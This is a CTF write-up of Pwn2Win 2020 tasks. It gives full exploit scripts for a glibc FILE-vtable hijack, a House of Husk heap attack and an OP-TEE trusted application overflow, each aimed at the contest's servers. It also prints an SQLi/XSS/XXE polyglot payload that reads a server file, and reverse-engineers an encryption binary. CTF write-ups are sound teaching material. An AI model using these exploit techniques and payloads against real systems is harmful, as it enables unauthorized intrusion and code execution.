Pwn2Win CTF 2020 had been held from May 30th for 48 hours. I played it in zer0pts and reached 6th place.
Especially pwn tasks were a lot of fun!
- [Pwn 263pts] At Your Command
- [Pwn 298pts] Tukro
- [Pwn 340pts] Trusted Node
- [Web 171pts] A Payload To Rule Them All
- [Rev,Crypto 303pts] S1 Protocol (rev part)
Other members' writeups:
The tasks and my solvers of some tasks I tried are available here.
Description: Through reverse engineering work on Pixel 6, we identified the ButcherCorp server responsible for programming the RBSes. Our exploration team was only able to have limited access to this machine and extract the binaries from the programming service. As it runs with high privilege, exploiting it will allow us to extract more data from that server. Those data will bring us closer to the discovery of the person responsible for the Rebellion. Can you help us with this task? Server: nc command.pwn2.win 1337 Files: command, libc.so.6
We're given a 64-bit ELF.
$ checksec -f command RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE Full RELRO Canary found NX enabled PIE enabled No RPATH No RUNPATH No Symbols Yes 0 7 command
Analysing the binary with IDA, I found two vulnerabilities: UAF(read), FSB. It's a simple note with the chunk size fixed to 0x188. We can't edit it but can read the contents after freed. Since the chunk size is enough large to be linked into unsorted bin (when tcache is full), we can leak the libc address.
The length of FSB payload (name) is up to 12-bytes and we can use it only once on exit.
The stack layout when sprintf
causes FSB looks like this:
pwndbg> x/32xg $rsp 0x7ffd67d9e820: 0x00007ffd67d9e880 0x00007ffd67d9e890 0x7ffd67d9e830: 0x0000000a83948080 0x000000000000007b 0x7ffd67d9e840: 0x0000000000000000 0x0000000000000000 0x7ffd67d9e850: 0x0000000000000000 0x0000000000000000 0x7ffd67d9e860: 0x00007ffd00000000 0x9c51adac97b21800 0x7ffd67d9e870: 0x00007ffd67d9e8f0 0x000055ab83747500 0x7ffd67d9e880: 0x000055ab844fb260 0x0000000000000005 0x7ffd67d9e890: 0x0000000000000000 0x0000000000000000 0x7ffd67d9e8a0: 0x0000000000000000 0x0000000000000000 0x7ffd67d9e8b0: 0x0000000000000000 0x0000000000000000 0x7ffd67d9e8c0: 0x0000000000000000 0x0000000000000000 0x7ffd67d9e8d0: 0x0000000000000000 0x0000000000000000 0x7ffd67d9e8e0: 0x00007ffd67d9e9d0 0x9c51adac97b21800 0x7ffd67d9e8f0: 0x000055ab83747530 0x00007f62fa1c9b97 0x7ffd67d9e900: 0x0000000000000001 0x00007ffd67d9e9d8 0x7ffd67d9e910: 0x0000000100008000 0x000055ab837473af
The user-input is stored in bss. There's one controllable region at 0x7ffd67d9e830 (ID) but it's of integer and we can't use it as address.
Taking a closer look, I found the value at 0x7ffd67d9e820 points to FILE*
pointer, which is at 0x7ffd67d9e880.
As we can create chunks in the note function, we can prepare a fake FILE structure on heap.
By controlling the two least-significant-bytes of the FILE pointer, we can make it point to the fake FILE structure.
The binary calls fclose
before exiting, which calls _IO_file_finish
.
We can't simply forge the vtable because the libc version is 2.27.
Instead, I forged the vtable to point to _IO_str_jumps
.
However, we can't just make it _IO_str_jumps
as it'll call _IO_str_finish
instead of _IO_str_overflow
.
0x7f62fa2262b4 <fclose+100> xor esi, esi 0x7f62fa2262b6 <fclose+102> mov rdi, rbx ► 0x7f62fa2262b9 <fclose+105> call qword ptr [r12 + 0x10] <0x7f62fa234330> rdi: 0x55ab844fb260 ◂— 0xfbad240c rsi: 0x0 rdx: 0x7f62fa58f760 (_IO_helper_jumps) ◂— 0x0 rcx: 0xb40
_IO_str_overflow
is located right after _IO_str_finish
, so I made the vtable _IO_str_jumps
+8.
Here is the final exploit:
from ptrlib import * def add(priority, data): sock.sendlineafter("> ", "1") sock.sendlineafter(": ", str(priority)) sock.sendafter(": ", data) def show(index): sock.sendlineafter("> ", "2") sock.sendlineafter(": ", str(index)) priority = int(sock.recvlineafter(": ")) command = sock.recvlineafter(": ") return priority, command def delete(index): sock.sendlineafter("> ", "3") sock.sendlineafter(": ", str(index)) libc = ELF("./libc.so.6") sock = Socket("command.pwn2.win", 1337) sock.sendafter(": ", "%{}c%4$hn".format(0x7260)) for i in range(8): add(0, "A") for i in range(1, 8): delete(i) logger.info("evict tcache: done") delete(0) for i in range(7): add(0, "A") add(0, "\x40") libc_base = u64(show(7)[1]) - libc.main_arena() logger.info("libc = " + hex(libc_base)) delete(7) new_size = libc_base + next(libc.find("/bin/sh")) payload = b'' payload += p64(0) payload += p64(0) payload += p64(0) payload += p64(0) payload += p64((new_size - 100) // 2) payload += p64(0) payload += p64(0) payload += p64((new_size - 100) // 2) payload += p64(0) * 4 payload += p64(libc_base + libc.symbol("_IO_2_1_stderr_")) payload += p64(3) + p64(0) payload += p64(0) + p64(libc_base + 0x3ed8c0) payload += p64((1<<64) - 1) + p64(0) payload += p64(libc_base + 0x3eb8c0) payload += p64(0) * 6 payload += p64(libc_base + 0x3e8360 + 8) payload += p64(libc_base + libc.symbol("system")) add(0xfbad1800, payload) sock.sendlineafter("> ", "5") logger.info("fake vtable: done") sock.sendlineafter("?\n", "1") sock.interactive()
It works with guess of 4-bit entropy.
Description: We found out that Androids are using a secret service to leave messages between them. We need to compromise that server to discover its secrets. Server: nc tukro.pwn2.win 1337 Files: tukro, libc.so.6
It's a 64-bit ELF.
$ checksec -f tukro RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE Full RELRO Canary found NX enabled PIE enabled No RPATH No RUNPATH No Symbols Yes 0 3 tukro
It's sort of mail(?) service, in which we can send a message to another users. The structure looks like this:
typedef struct { char username[0x10]; char password[0x10]; long num; struct { char *contents; long senderID; } testimonial[10]; } Account; Account users[3];
contents
is allocated by malloc(0x500)
.
The vulnerability is that, a user sends a message to another user and the sender can read the message even after the receiver deletes the message.
As we can also edit the sent message, we have UAF read, write!
The size of the chunk is large enough not to be linked into tcache/fastbin and libc leak is done.
However, what can we do with the 0x510-byte chunk?
I used House of Husk here.
As I mentioned in the Japanese version, House of Husk can also be used for _IO_2_1_stdout_
in libc-2.23.
What we do is actually very simple in House of Husk:
- Overwrite
global_max_fast
by unsorted bin attack - Free a fake chunk whose size is
offset2size(_IO_2_1_stdout_->vtable - &fastbin[0])
And now _IO_2_1_stdout_->vtable
points to our fake vtable :)
Here is the final exploit:
from ptrlib import * def signup(username, password): sock.sendlineafter(": ", "1") sock.sendafter(": ", username) sock.sendafter(": ", password) def signin(username, password): sock.sendlineafter(": ", "2") sock.sendafter(": ", username) sock.sendafter(": ", password) def add(target, contents): sock.sendlineafter(": ", "1") sock.sendafter(": ", target) sock.sendafter(": ", contents) def edit(index=None, contents=None): sock.sendlineafter(": ", "3") r = [] while True: if b'Edit Testimonial' in sock.recvuntil(": "): break sock.recvline() r.append(sock.recvline()) if index is None: sock.sendline("N") return r else: sock.sendline("y") sock.sendlineafter(": ", str(index)) sock.sendafter(": ", contents) def show_written(): return edit() def show_received(): sock.sendlineafter(": ", "2") r = [] while True: l = sock.recvline() if b'Testimonial' in l: l = sock.recvline() r.append(l) if b'----' in l: break elif b'----' in l: break return r def delete(index): sock.sendlineafter(": ", "4") sock.sendlineafter(": ", str(index)) def signout(): sock.sendlineafter(": ", "5") def offset2size(ofs): return (ofs * 2 - 0x10) libc = ELF("./libc.so.6") global_max_fast = 0x3c67f8 stdout_vtable = libc.symbol('_IO_2_1_stdout_') + 0xd8 one_gadget = 0xf1147 sock = Socket("tukro.pwn2.win", 1337) signup("AAAAAAAA", "password") signup("BBBBBBBB", "password") signup("CCCCCCCC", "password") signin("BBBBBBBB", "password") add("AAAAAAAA", "a" * 0x10) add("AAAAAAAA", b'b' * 0x208 + p64(0x21) + b'b' * 0x18 + p64(0x21)) add("AAAAAAAA", "c" * 0x10) add("CCCCCCCC", "d" * 0x10) add("CCCCCCCC", "e" * 0x10) add("CCCCCCCC", p64(0x21) * (0x500 // 8)) signout() signin("AAAAAAAA", "password") delete(1) signout() signin("BBBBBBBB", "password") libc_base = u64(show_written()[2]) - libc.main_arena() - 0x58 logger.info("libc = " + hex(libc_base)) edit(3, p64(0) + p64(libc_base + global_max_fast - 0x10)) add("AAAAAAAA", b"a" * 0x208 + p64(0x511)) signout() signin("AAAAAAAA", "password") delete(2) signout() signin("CCCCCCCC", "password") delete(2) signout() signin("BBBBBBBB", "password") heap_base = u64(show_written()[-1]) - 0x510*2 logger.info("heap = " + hex(heap_base)) edit(6, p64(heap_base + 0x210)) add("AAAAAAAA", "1" * 0x10) payload = b'A' * 0x2f0 payload += p64(0) + p64(offset2size(stdout_vtable + 0x10 - libc.main_arena()) | 1) payload += p64(0xdeadbeef) * 5 payload += p64(libc_base + one_gadget) add("AAAAAAAA", payload) signout() signin("AAAAAAAA", "password") delete(1) sock.interactive()
Description: In the past, Androids used an old trusted technology to keep a secret that was shared by each Android that connected to an Internet of Things node. TEEs were a promising technology. We were able to find and access one of these devices. Now, we believe it holds the key to understanding communication between the Androids. Our engineers were able to redo almost the entire environment, using the 3.8.0 version of OP-TEE, but were unable to find the key. Can you help us? We suspect of the trusted application deadbeef-dead-dead-dead-deaddeadbeef.ta The Android service has some time limits: (1) Time limit for taking proof of work; (2) Time limit for delivering information for connection; (3) Time limit within the system. We need your help! Server: nc trustednode.pwn2.win 1337 Files: trusted_node_308c84ba63f1d267c8da2500ffcdba679edd491cb4bfa0bdbd22f71ba899df7c.tar.gz
We're given a linux kernel (qemu image) of AArch64.
As the description says, there's a suspicious module at /lib/optee_armtz/deadbeef-dead-dead-dead-deaddeadbeef.ta
.
This is a binary called "Trusted Application," which is used in TrustedZone of ARM.
Also, there's a curious ELF at /usr/bin/android_get_increment
.
This calls the API(?) of the TA (deadbeef-dead-dead-dead-deaddeadbeef.ta), which always fails.
I had no idea what TrustedZone is and how to analyse a Trusted Application. I opened the TA in hexdump and found it contains ELF file in it. So, I dumped it by binwalk and started analysing it with Ghidra.
The TA has 2 important functions: inc_value
and get_secret
.
undefined8 inc_value(undefined8 param_1,int param_2,int param_type,undefined8 *params) { undefined8 retval; uint value [2]; undefined8 local_8; if (param_2 == 0) { IMSG("inc_value",0x6c,1,1,"Executing function at %p",0x100020); if (param_type == 0x665) { value[0] = 0; TEE_MemMove(value,*params,(ulonglong)*(uint *)(params + 1)); IMSG("inc_value",0x72,2,1,"Got value: %u from NW",(ulonglong)value[0]); value[0] = value[0] + 1; IMSG("inc_value",0x74,2,1,"Increase value to: %u"); TEE_MemMove(params[2],value,4); local_8 = 0x100020; TEE_MemMove(params[4],&local_8,4); retval = 0; } else { retval = 0xffff0006; } return retval; } return 0xffff0006; }
This is what android_get_increment
tries to call through TA_InvokeCommandEntryPoint
(FUN_0010242c).
It fails because the param_type
is wrong.
void get_secret(void) { uint ret; int ret_; undefined8 uVar1; uint local_11c; undefined auStack280 [16]; undefined *local_108; undefined4 local_100; undefined auStack252 [52]; undefined op [200]; IMSG("get_secret",0x38,1,1,"Here is the key, Android! Long live the rebellion!"); memset(op,0,200); uVar1 = FUN_00100388(auStack280,&DAT_0010a6d8,0x10); ret = TEEC_InvokeCommand(uVar1,0,0,0,&DAT_0010c428,&local_11c); if (ret != 0) { IMSG("get_secret",0x4c,1,1,"TEE_InvokeCommand failed with code 0x%x origin 0x%x",(ulonglong)ret, (ulonglong)local_11c); } memset(auStack252,0,0x34); local_100 = 0xbe; local_108 = op; ret_ = FUN_00101a80(DAT_0010c428,0,0,6,&local_108,&local_11c); if (ret_ != 0) { IMSG("get_secret",0x5a,1,1,"WTF?!"); } IMSG("get_secret",0x5c,1,1,&DAT_0010aace,op); FUN_001017f0(DAT_0010c428); FUN_00101e54(0); return; }
This function seems writing the flag to the serial port. However, there's no path to call it.
So, our goal is pwn the TA and call get_secret
.
You can easily find the vulnerability in inc_value
.
TEE_MemMove(value,*params,(ulonglong)*(uint *)(params + 1));
Now it's clear. We just need to overwrite the return address to the address of get_secret
.
It seems ASLR (or similar mechanism) is enabled in the kernel but it doesn't matter because the base address of the TA is written in the log printed through the serial port.
As I had no idea how to properly call inc_value
, I manually fuzzed(?) to find a crash.
I found setting tmpref
for all of the op.params
and making the 4th element of the buffer gives rip control :)
Here is the final exploit:
#include <err.h> #include <stdio.h> #include <string.h> #include <tee_client_api.h> TEEC_UUID uuid = { 0xdeadbeef, 0xdead, 0xdead, \ { 0xde, 0xad, 0xde, 0xad, 0xde, 0xad, 0xbe, 0xef} }; unsigned long base; int main(void) { TEEC_Result res; TEEC_Context ctx; TEEC_Session sess; TEEC_Operation op; uint32_t err_origin; res = TEEC_InitializeContext(NULL, &ctx); if (res != TEEC_SUCCESS) errx(1, "TEEC_InitializeContext failed with code 0x%x", res); res = TEEC_OpenSession(&ctx, &sess, &uuid, TEEC_LOGIN_PUBLIC, NULL, NULL, &err_origin); if (res != TEEC_SUCCESS) errx(1, "TEEC_Opensession failed with code 0x%x origin 0x%x", res, err_origin); printf("base: "); scanf("%lx", &base); unsigned long addr_win = base + 0x200; unsigned long buffer[10]; buffer[0] = 0xc0beb33f; buffer[1] = 0xc0b3beef; buffer[2] = 0xffffffffdddddddd; buffer[3] = addr_win; buffer[4] = 0xfffffffffee1de00; buffer[5] = 0xfffffffffee1de11; buffer[6] = 0xfffffffffee1de22; buffer[7] = 0xfffffffffee1de33; buffer[8] = 0xfffffffffee1de44; buffer[9] = 0xfffffffffee1de55; memset(&op, 0, sizeof(op)); op.paramTypes = 0x665; op.params[0].tmpref.buffer = (void*)buffer; op.params[0].tmpref.size = 8*10; op.params[1].tmpref.buffer = (void*)buffer; op.params[1].tmpref.size = 8*10; op.params[2].tmpref.buffer = (void*)buffer; op.params[2].tmpref.size = 8*10; op.params[3].tmpref.buffer = (void*)buffer; op.params[3].tmpref.size = 8*10; res = TEEC_InvokeCommand(&sess, 0, &op, &err_origin); if (res != TEEC_SUCCESS) { errx(1, "TEEC_InvokeCommand failed with code 0x%x origin 0x%x", res, err_origin); } TEEC_CloseSession(&sess); TEEC_FinalizeContext(&ctx); return 0; }
Description: Automated tools are NOT required and NOT allowed, it's a technical challenge! Server: http://payload.pwn2.win
It's a challenge to write polyglot of SQLi + XSS + XXE.
When I took a look on this challenge, @st98 had already found a payload which causes SQLi + XXE. I just tried some patterns and found a way to make it a valid JS. Here is my payload:
xml version="1.0" encoding="utf-8" <!DOCTYPE root [<!ENTITY hoge SYSTEM "/home/gnx/script/xxe_secret"> <!ENTITY xxx ">var a=">]><root><sqli>' union select password,password,password from users/*</sqli><xxe>&hoge;";</xxe><x>xss=1;a="*/where '1'!='1";</x></root>
Be careful that we can't use #
as MySQL command since it's regarded as an anchor.
Description: We captured one of the human-like robots (androids) and extracted a binary from its memory. Now it is your mission to reverse it and understand how the encryption of the S1 Protocol works. File: binary, output.txt
We're given a statically linked + stripped binary.
When I tried this task, @theoremoon had already found libgmp
is linked to the binary.
I just compared the CFG with those in libgmp and revealed functions one by one.
This is the overview of the program I reverse engineered:
int size_128 = 0x80; int size_21 = 0x15; void bytes2long(mpz_t a, char *bytes, int len) { char *hex = alloca(len * 2); for(int i = 0; i < len; i++) { sprintf(&hex[i*2], "%02X", bytes[i]); } mpz_set_string(a, hex, 16); } void getRandomBytes(char *buf, int size) { FILE *fp = fopen("/dev/urandom", "r"); fread(buffer, 1, size, fp); fclose(fp); } int main() { mpz_t p, q, n, e, r, mod, result; mpz_init(p); mpz_init(q); mpz_init(n); mpz_init(e); mpz_init(x); mpz_init(mod); mpz_init(result); char *rndBuffer = alloca(size_128); char *rnd21bytes = alloca(size_21); char *flag = alloca(size_128); do { getRandomBytes(rnd21bytes, size_21); for(int i = 0; i < size_128 / size_21; i++) { memcpy(&rndBuffer[i*size_21], size_21, rnd21bytes); } getRandomBytes(&rndBuffer[i*size_21], size_128 % size_21); bytes2long(p, rndBuffer, size_128); mpz_setbit(p, size_128 * 8 - 2); mpz_setbit(p, size_128 * 8 - 1); mpz_setbit(p, 0); } while(mpz_probab_prime_p(p, 30)); do { getRandomBytes(rndBuffer, size_128); bytes2long(q, rndBuffer, size_128); mpz_setbit(q, size_128 * 8 - 2); mpz_setbit(q, size_128 * 8 - 1); mpz_setbit(q, 0); } while(mpz_probab_prime_p(q, 30)); FILE *fp = fopen("flag.txt", "r"); int len_flag = fread(flag, 1, size_128, fp); fclose(fp); bytes2long(e, flag, len_flag); getRandomBytes(rndBuffer, 0x7f); bytes2long(r, rndBuffer, 0x7f); mpz_mul(n, p, q); mpz_mul(mod, n, n); mpz_mul(mod, n, mod); mpz_powm(r, r, n, mod); mpz_add_ui(n, n, 1); mpz_mul(mod, n, mod); mpz_powm(result, n, e, mod); gmp_printf("%Zd\n\n", n); gmp_printf("%Zd\n\n", r); gmp_printf("%Zd\n\n", result); }
Check theoremoon's writeup for crypto part.